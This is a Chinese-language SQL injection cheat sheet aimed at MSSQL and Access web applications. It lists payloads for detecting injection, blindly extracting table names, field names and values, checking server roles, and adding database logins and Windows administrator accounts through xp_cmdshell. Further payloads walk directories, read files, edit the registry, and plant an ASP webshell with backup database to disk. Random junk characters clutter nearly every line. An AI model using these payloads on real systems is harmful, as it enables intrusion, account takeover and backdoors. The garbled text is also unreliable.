1.判断是否有注入;and 1=1 ;and 1=2 EJrP{GH
2.初步判断是否是mssql ;and user>0 nH_M#
xcty
3.注入参数是字符'and [查询条件] and ''=' <m'W{n%Pp
4S5U|n
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,?S1e#
+87|gC7B
5.判断数据库系统 ''tCtG"
Xi
>4
VN1^
;and (select count(*) from sysobjects)>0 mssql }"Clv/3_
Qu|H_<8g
;and (select count(*) from msysobjects)>0 access 1aDx 6Mq
4}`z^P<C
Qhy!:\&1
)\Am:?RH;
6.猜数据库 ;and (select Count(*) from [数据库名])>0 B 1jeIk,
-%,=%FBi~4
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 k..AP<hH
kntYj}F(
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qz95)
0~4Ww=#
9.(1)猜字段的ascii值(access) E6XDn`:
\xG_q>1_
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 @q]4]U)
6+!$x?5|NP
(2)猜字段的ascii值(mssql) -!q^/ux
TXdo,DPv7
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 {.eo?dQ
*O_>3Hgl
10.测试权限结构(mssql) >jz9o9?8
*+(rQ";x
w$iQ,--
R#HVrzOO|T
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ^p)#;$6b
OYSq)!:
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 'hR0JXy
GHY+q{'#V_
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- KT[ZOtu
K
@RGvP
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6%it`A8}
H-\Ym}BGu
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- GXG 7P,p,
9HB+4q[
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xpX<iT>5u
~y{_NgMo
;and 1=(select IS_MEMBER('db_owner'));-- ;* QK^ #
.do8\
~[%_]/#&%z
ncqAof(/
11.添加mssql和系统的帐户 AXF
1{
/% g+|C
;exec master.dbo.sp_addlogin username;-- bmu] zJ
;exec master.dbo.sp_password null,username,password;-- _o[fjd
JkhW LQ>o
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- LTxP@pr
^hXm=r4ozR
;exec master.dbo.xp_cmdshell 'net user username password KRz~3yH{c
wx^Det
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :_}xN!9LA
kDol 1v`
;exec master.dbo.xp_cmdshell 'net user username password /add';--
E;}&2 a
9U8x&Z]P
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )(0if0D4
`Fie'[F5,)
`JO>g=,4
w"5Eyz-eO
12.(1)遍历目录 ~m_{&,CA.
`;Ho<26
;create table dirs(paths varchar(100), id int) ~| b\1SR
<8(=Lv`)q
;insert dirs exec master.dbo.xp_dirtree 'c:\' hr;^.a^
;plBo%EBV
;and (select top 1 paths from dirs)>0 ![;={d0
M6mgJonN|
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) f"RC(("6W
nfbR"E
jXr
/5)*epF+
ugN t7P,^
(2)遍历目录 |QS3nX<
NB1KsvD{
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- fX]`vjM{
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 r1}^\C
"MU-&**
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 <pfl>Uf
MA,*$BgZ
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9w- )??
^R=`<jx
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ;89kL]
HdN5zl,q
)7 q"l3e"u
Lo3N)~5
13.mssql中的存储过程 Pr1qX5> =
5mQ@&E~#W
xp_regenumvalues 注册表根键, 子键 @4hzNi+
g'KxjjYT,
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 hH 5}%/vF
TKM^
xp_regread 根键,子键,键值名 %ggf|\-e
P&sWn?q Ol
;exec xp_regread )w0x{_
+!0K]$VZs
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 @QV0l]H0+
ydy TDn
xp_regwrite 根键,子键, 值名, 值类型, 值 I<O$);DV'
N]w_9p~=1
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 u
[._RA
&nP0T-T5y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 gE _+r
Vx(*OQ
xp_regdeletevalue 根键,子键,值名 Vf;&z$D{r
ka~_iUU4
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0K[]UU=P=
BbI%tmA7
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 b%0p<*:a/
2uOYuM[7gH
sSZ)C|Q
gYD1A\
14.mssql的backup创建webshell `wXK&R<`
]:OrGD"
use model B~w$j/sWU
ID43s9
create table cmd(str image); is4}s,]$6
I)rO|
insert into cmd(str) values (''); ;.V/ngaj
!\X9$4po@
backup database model to disk='c:\l.asp'; x=t(#R m
3Do0?~n
C<
9x\JY%
2
^m}5:0
15.mssql内置函数 6@s!J8!
f^FFn32u
;and (select @@version)>0 获得Windows的版本号 7pm'b,J<
m,lZy#02s3
;and user_name()='dbo' 判断当前系统的连接用户是不是sa &]DB-t#\
?qNU*d
;and (select user_name())>0 爆当前系统的连接用户 d.FU))lmD
x="Wqcnj{
;and (select db_name())>0 得到当前连接的数据库 B+K6(^j,,y
Q,[G?vbj
"E(i<
o/w3b8
16.简洁的webshell Wd:pqhLh
umIGI
use model bZ\R0[0
s0/O/G?
create table cmd(str image); _ocCt XI9
23wztEp{a
insert into cmd(str) values (''); qD{1X25O
1uAjy(y
backup database model to disk='g:\wwwtest\l.asp';